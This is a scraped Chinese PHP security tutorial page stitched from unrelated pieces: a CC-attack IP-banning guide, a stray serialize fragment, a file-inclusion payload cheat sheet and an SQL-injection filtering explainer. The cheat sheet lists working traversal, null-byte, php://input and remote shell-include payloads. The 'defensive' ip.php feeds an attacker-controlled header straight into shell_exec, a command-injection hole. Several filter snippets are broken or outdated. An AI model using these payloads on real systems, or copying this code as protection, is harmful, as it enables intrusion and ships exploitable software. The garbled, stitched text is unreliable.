php中简单的防CC脚本攻击经验总结
1,登录进VPS控制面板,准备好随时重启VPS。
2,关闭Web Server先,过高的负载会导致后面的操作很难进行,甚至直接无法登录SSH。
3,以防万一,把设置的Web Server系统启动后自动运行去掉。
(如果已经无法登录进系统,并且重启后负载过高导致刚刚开机就已经无法登录,可联系管理员在母机上封掉VPS的IP或80端口,在母机上用虚拟控制台登录进系统,然后进行2&3的操作,之后解封)
二,找出攻击者IP
1,在网站根目录建立文件ip.php,写入下面的内容。
代码如下 | 复制代码 |
$real_ip = getenv('HTTP_X_FORWARDED_FOR'); if(isset($real_ip)){ shell_exec("echo $real_ip >> real_ip.txt"); shell_exec("echo $_SERVER['REMOTE_ADDR'] >> proxy.txt"); }else{ shell_exec("echo $_SERVER['REMOTE_ADDR'] >> ips.txt"); } echo '服务器受到攻击,正在收集攻击源,请在5分钟后访问本站,5分钟内多次访问本站有可能会被当作攻击源封掉IP。谢谢合作!'; ?> |
2,设置伪静态,将网站下的所有访问都rewrite到ip.php。
Nginx规则:
代码如下 | 复制代码 |
rewrite (.*) /ip.php;
"^/(.+)/?$" => "/ip.php" ) |
3,启动Web Server开始收集IP
进行完1和2的设置后,启动Web Server,开始记录IP信息。
收集时间建议为3到5分钟,然后再次关闭Web Server。
real_ip.txt,这个文件中保存的IP有80%以上都相同的,这个IP就是攻击者实施攻击的平台的IP。
proxy.txt,这个文件中保存的是攻击者调用的代理服务器的IP,需要封掉。
ips.txt,这里记录的是未表现出代理服务器特征的IP,根据访问次数判断是否为攻击源。
三,对上一段的补充
如果VPS上启用了WEB日志,可以查看日志文件的增长速度来判断是哪个站点被攻击。
如果没有启用日志,并且站点数量很少,临时启用日志也很方便 。
如果没有启用日志,并且站点数量过多,可以使用临时的Web Server配置文件,不绑定虚拟主机,设置一个默认的站点。然后在ip.php里加入下面一行
代码如下 | 复制代码 |
shell_exec("echo $_SERVER['HTTP_HOST'] >> domain.txt"); |
domain.txt里将保存被访问过的域名,被CC攻击的站点将在里面占绝大多数。
四,开始封堵IP
建立文件ban.php
代码如下 | 复制代码 |
<?php $threshold = 10; $ips = array_count_values(file('ips.txt')); $ban_num = 0; foreach($ips as $ip=>$num){ if($num > $threshold){ $ip = trim($ip); $cmd = "iptables -I INPUT -p tcp --dport 80 -s $ip -j DROP"; shell_exec($cmd); echo "$ip baned!n"; $ban_num ++; } } $proxy_arr = array_unique(file('proxy.txt')); foreach($proxy_arr as $proxy){ proxy = trim($proxy); $cmd = "iptables -I INPUT -p tcp --dport 80 -s $proxy -j DROP"; shell_exec($cmd); echo "$proxy baned!n"; $ban_num ++; } echo "total: $ban_num ipsn"; ?> |
用下面的命令执行脚本(确保php命令在PATH中)
php ban.php
这个脚本依赖于第二段中ips.txt里保存的结果,当其中记录的IP访问次数超过10次,就被当作攻击源给屏蔽掉。如果是代理服务器,则不判断次数直接封掉。
封完IP之后,把所有的网站设置恢复正常,站点可以继续正常运行了。
代码如下 | 复制代码 |
var_export($times,true);后面不加true不能写入文件哟 |
方法二
利用serializ与unserialize函数
代码如下 | 复制代码 |
if(isset($_POST['sub'])){ |
基本的文件包含漏洞:
代码如下 | 复制代码 |
<?php include(“includes/” . $_GET['file']); ?> * 包含同路径下的文件: ?file=.htaccess * 路径遍历: ?file=../../../../../../../../../var/lib/locate.db (该文件非常有趣因为它允许你搜索文件系统) * 包含注入PHP代码的文件: ?file=../../../../../../../../../var/log/apache/error.log (you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.) |
受限的本地文件包含:
代码如下 | 复制代码 |
<?php include(“includes/” . $_GET['file'] . “.htm”); ?> * 空字符注入(Null Byte Injection): ?file=../../../../../../../../../etc/passwd%00 (需要magic_quotes_gpc=off) * 列目录(Null Byte Injection): ?file=../../../../../../../../../var/www/accounts/%00 (仅限BSD, 需要magic_quotes_gpc=off,详细信息here) *路径截断(Path Truncation): ?file=../../../../../../../../../etc/passwd........... … (详细信息参见 here 和 here) * 点号截断: ?file=../../../../../../../../../etc/passwd……………. … (仅限Windows, 更多细节参见 here) |
基本的远程文件包含:
代码如下 | 复制代码 |
* 包含远程代码(Including Remote Code): ?file=[http|https|ftp]://websec.wordpress.com/shell.txt (需要 allow_url_fopen=On 和 allow_url_include=On) * 使用php输入流(Using PHP stream php://input): ?file=php://input * 使用PHP过滤函数(Using PHP stream php://filter): |
* 用于跨站脚本攻击(Using XSS):
代码如下 | 复制代码 |
?file=http://127.0.0.1/path/xss.php?xss=phpcode (makes sense if firewalled or only whitelisted domains allowed) |
受限的远程文件包含漏洞
代码如下 | 复制代码 |
<?php include($_GET['file'] . “.htm”); ?> * ?file=http://websec.wordpress.com/shell * ?file=http://websec.wordpress.com/shell.txt? * ?file=http://websec.wordpress.com/shell.txt%23 (需要 allow_url_fopen=On 和 allow_url_include=On) |
静态远程文件包含漏洞:
代码如下 | 复制代码 |
<?php include(“http://192.168.1.10/config.php”); ?> |
来自Reiners’ Weblog。
何为注入?
比如我们在查询数据库的时候,我们通过文章的id号来取出这篇文章的所有信息。那么SQL语句可以这样写:
代码如下 | 复制代码 |
select * from blog where id=5 |
id的值通过用户的操作来传递,一般是GET方式,形如read.php?id=5。这样看起来是没有任何问题,但是如果我们稍微改下SQL语句:
代码如下 | 复制代码 |
select * from blog where id=5 or 1=1 |
1=1这个是恒等的,那么这条语句就会取出所有的文章。要修改这个只需要改一下GET的传值即可:read.php?id='5 or 1=1';注意这两个单引号...所以最简单的就是我们可以通过直接把参数改为单引号来查看这个链接是否存在注入。当然,非法用户看到所有的文章并不要紧,但是如果这个表是保存账号和密码的呢?
2.如何防范注入?
说到底,防范注入的根本就在于字符的过滤,因为非法用户一般都是通过构造URL来传值的,如果我们过滤了他传进来的非法参数,这非法的SQL语句就不会执行,那么我们也就防止网站被注入!
PHP内置的过滤字符串还是相当不错的,先看看具体代码:
代码如下 | 复制代码 |
function safe($s) { if(!get_magic_quotes_gpc()) { if(is_array($s)) foreach($s as $key=>$value) $s[$key] = addslashes($value); else $s=addslashes($s); } return $s; }
function html_safe($s) { return nl2br(htmlspecialchars(safe($s) )) ; } |
如果你不知道上面用到的几个内置函数,也懒了去查手册的话,那我就说下这几个函数:
magic_quotes_gpc这个称为魔术引号,如果这个功能开启,那么当向数据库中插入数据时,魔术引号所做的就是自动对所有的 GET、POST、COOKIE 数据运用 addslashes() 函数。get_magic_quotes_gpc()就是用来获取服务器上这个功能是否开启的:如果开启了,那么直接返回数据;如果没开启,那么手动对参数进行addslashes()转义。这样就可以防止双层转义~
addslashes -- 使用反斜线引用字符串。描述:string addslashes ( string str );返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线()与 NUL(NULL 字符)。 一个使用 addslashes() 的例子是当你要往数据库中输入数据时。例如,将名字 O'reilly 插入到数据库中,这就需要对其进行转义。大多数据库使用 作为转义符:O'reilly。这样可以将数据放入数据库中,而不会插入额外的 。当 PHP 指令 magic_quotes_sybase 被设置成 on 时,意味着插入 ' 时将使用 ' 进行转义。
下面的那个htmlspecialchars就是对Html中的字符进行转换,比如说将‘&’转成‘&’,,将‘<’转成‘<’。nl2br这个是将回车换行转换成<br/>,这个在用户输入评论之类的信息时候用得比较多。
通过上面的几个函数,我们已经可以过滤一些简单的注入了。另外再说几个小的方面:
对于最开始的那个例子,实际上改进的地方很多,比如写成这样看起来应该更规范一些:
代码如下 | 复制代码 |
SELECT * FROM `blog` WHERE `id`='$id' |
对于SQL的关键字我们用大写来表示,对于数据库中的表和字段我们用小写,另外在字段名和表名上加上“·”这个符号(键盘上数字1左边的那个键上),并且在进来的id上我们用单引号引起来。
对于这样的传进来参数是数字类型的,我们可以对$_GET到的值进行强制转换。但我更习惯这样:
代码如下 | 复制代码 |
$id = $_GET['id']*1; //获取文章的id,用来显示文章信息 if($id == 0){ echo "ERROR..."; exit(); } |
如果一发现传进来的不是数字,那么很大可能性性是存在问题的参数,那么我们直接给出错误提示然后退出就行,这样再省得再去给非法用户执行数据库查询操作了。
最后我们看一下JBlog中的一个处理注入的地方:
includecommon.php的38行
代码如下 | 复制代码 |
if ( !get_magic_quotes_gpc() ) { $_GET = add_slashes($_GET); $_POST = add_slashes($_POST); $_COOKIE = add_slashes($_COOKIE); } |
includefunc_global.php的194行
代码如下 | 复制代码 |
//addslashes function add_slashes($string) { if (!is_array($string)) return addslashes($string); foreach ($string as $key => $val) { $string[$key] = add_slashes($val); } return $string; }
|
当然,这应该只是一部分,其他的应该也大同小异。
我们知道Web上提交数据有两种方式,一种是get、一种是post,那么很多常见的sql注射就是从get方式入手的,而且注射的语句里面一定是包含一些sql语句的,因为没有sql语句,那么如何进行,sql语句有四大句: select 、update、delete、insert
那么我们如果在我们提交的数据中进行过滤是不是能够避免这些问题呢?
于是我们使用正则就构建如下函数:
代码如下 | 复制代码 |
/* function inject_check($sql_str) { return eregi('select|insert|update|delete|'|/*|*|../|./|union|into|load_file|outfile', $sql_str); // 进行过滤 }
|
我们函数里把 select,insert,update,delete, union, into, load_file, outfile /*, ./ , ../ , ' 等等危险的参数字符串全部过滤掉,那么就能够控制提交的参数了,程序可以这么构建:
代码如下 | 复制代码 |
<?php if (inject_check($_GET['id'])) { exit('你提交的数据非法,请检查后重新提交!'); } else { $id = $_GET['id']; echo '提交的数据合法,请继续!'; } ?> |
假设我们提交URL为:a.php?id=1,那么就会提示:
"提交的数据合法,请继续!"
如果我们提交 a.php?id=1%27 select * from tb_name
就会出现提示:"你提交的数据非法,请检查后重新提交!"
那么就达到了我们的要求。
但是,问题还没有解决,假如我们提交的是 a.php?id=1asdfasdfasdf 呢,我们这个是符合上面的规则的,但是呢,它是不符合要求的,于是我们为了可能其他的情况,我们再构建一个函数来进行检查:
代码如下 | 复制代码 |
/* function verify_id($id=null) { if (!$id) { exit('没有提交参数!'); } // 是否为空判断 elseif (inject_check($id)) { exit('提交的参数非法!'); } // 注射判断 elseif (!is_numeric($id)) { exit('提交的参数非法!'); } // 数字判断 $id = intval($id); // 整型化
return $id; }
<?php if (inject_check($_GET['id'])) { exit('你提交的数据非法,请检查后重新提交!'); } else { $id = verify_id($_GET['id']); // 这里引用了我们的过滤函数,对$id进行过滤 echo '提交的数据合法,请继续!'; } ?> |
好,问题到这里似乎都解决了,但是我们有没有考虑过post提交的数据,大批量的数据呢?
比如一些字符可能会对数据库造成危害,比如 ' _ ', ' % ',这些字符都有特殊意义,那么我们如果进行控制呢?还有一点,就是当我们的php.ini里面的magic_quotes_gpc = off 的时候,那么提交的不符合数据库规则的数据都是不会自动在前面加' '的,那么我们要控制这些问题,于是构建如下函数:
代码如下 | 复制代码 |
/* function str_check( $str ) { if (!get_magic_quotes_gpc()) // 判断magic_quotes_gpc是否打开 { $str = addslashes($str); // 进行过滤 } $str = str_replace("_", "_", $str); // 把 '_'过滤掉 $str = str_replace("%", "%", $str); // 把' % '过滤掉
return $str; } |
OK,我们又一次的避免了服务器被沦陷的危险。
最后,再考虑提交一些大批量数据的情况,比如发贴,或者写文章、新闻,我们需要一些函数来帮我们过滤和进行转换,再上面函数的基础上,我们构建如下函数:
代码如下 | 复制代码 |
/* function post_check($post) { if (!get_magic_quotes_gpc()) // 判断magic_quotes_gpc是否为打开 { $post = addslashes($post); // 进行magic_quotes_gpc没有打开的情况对提交数据的过滤 } $post = str_replace("_", "_", $post); // 把 '_'过滤掉 $post = str_replace("%", "%", $post); // 把' % '过滤掉 $post = nl2br($post); // 回车转换 $post= htmlspecialchars($post); // html标记转换
return $post; } |
相关文章
- 最基础的对数据的增加删除修改操作实例,菜鸟们收了吧...2013-09-26
- 本文为那些对学习 Windows PowerShell 命令行和脚本编写环境感兴趣的系统管理员提供了资源。也请告诉我们本网站如何才能对您更有用处。...2020-06-30
- 这篇文章主要介绍了Shell脚本中让进程休眠的方法,本文讲解的就是sleep的用法,可以实现睡觉若干秒、若干分钟、若干小时,需要的朋友可以参考下...2020-07-11
JavaScript 实现自己的安卓手机自动化工具脚本(推荐)
这篇文章主要介绍了 JavaScript 实现自己的安卓手机自动化工具脚本,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下...2020-05-14- 这篇文章主要介绍了自动设置安卓手机wifi代理的PowerShell脚本,帮助大家进行抓包测试,感兴趣的朋友可以了解下...2020-10-17
- 在MySQL中,InnoDB引擎类型的表支持了外键约束。 外键的使用条件: 1.两个表必须是InnoDB表,MyISAM表暂时不支持外键(据说以后的版本有可能支持,但至少目前不支持); 2.外键列必须建立了索引,MySQL 4.1.2以后的版本在建立外键时...2015-11-24
- 这篇文章主要给大家介绍了kali的局域网攻击,小编觉得这篇文章还是不错的,使用起来也是非常方便的,需要的朋友可以参考下...2021-08-20
- 现在有很多php开发框架都提供关于防XSS攻击的过滤方法,下面和大家分享一个预防XSS攻击和ajax跨域攻击的函数,摘自某开发框架,相比于仅仅使用内置函数应该还是够强了的吧...2016-11-25
- C# 实现简单打印的实例代码,需要的朋友可以参考一下...2020-06-25
- 今天看到国外的一篇文章可以在cmd中运行95版本的ps1格式的批处理,但经过测试默认情况下powershell支不支持执行脚本需要执行如下操作...2020-06-30
- 弄懂shell程序,源代码,以及python脚本能够向运维开发方向走,shell程序能够管理集群,提高开发的效率,shell是命令解释器,调用系统内核,帮助你对内核的刷新认识...2021-09-06
- 这篇文章主要介绍了Jmeter如何基于命令行运行jmx脚本,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下...2020-07-22
- 本文我们将会学习一下在shell脚本中如何使用正则表达式,常用的shell正则表达式,当然重点还是如何在shell脚本中用正则表达式匹配IP及Email。 shell也可以使用正则分...2016-11-25
- 这篇文章主要介绍了什么是Shell?Shell脚本基础知识介绍,本文是一篇Shell脚本入门文章,在本文你可学到什么是Shell、有多少种Shell、一个Shell脚本代码实例,需要的朋友可以参考下...2020-07-11
- 这篇文章主要给大家分享了Nginx防止流量攻击的配置方法,文中给出了详细的介绍和配置示例代码,对大家具有一定的参考学习价值,需要的朋友们下面来一起看看吧。...2017-07-06
- 你的网站是不是常常被黑,或者一不注意就成了黑客的“肉鸡”?对于Web网站服务器来说,如果不进行安全设置,很容易被黑客“盯上”,随时都有被入侵的危险。...2016-01-27
- [ajax介绍] ajax是使用客户端脚本与web服务器交换数据的web应用开发方法。web页面不用打断交互流程进行重新加裁,就可以动态地更新。使用ajax,用户可以创建接近本地...2016-11-25
- 以下是对在linux下c程序中获取shell脚本输出的实现方法进行了详细的分析介绍,需要的朋友可以过来参考下...2020-04-25
在C#中调用VBScript、javascript等脚本的实现代码
在C#中调用VBScript、javascript等脚本的实现步骤,需要的朋友可以参考下。...2020-06-25- 这篇文章主要介绍了C#最简单的字符串加密解密方法,本文直接给出实例代码,需要的朋友可以参考下...2020-06-25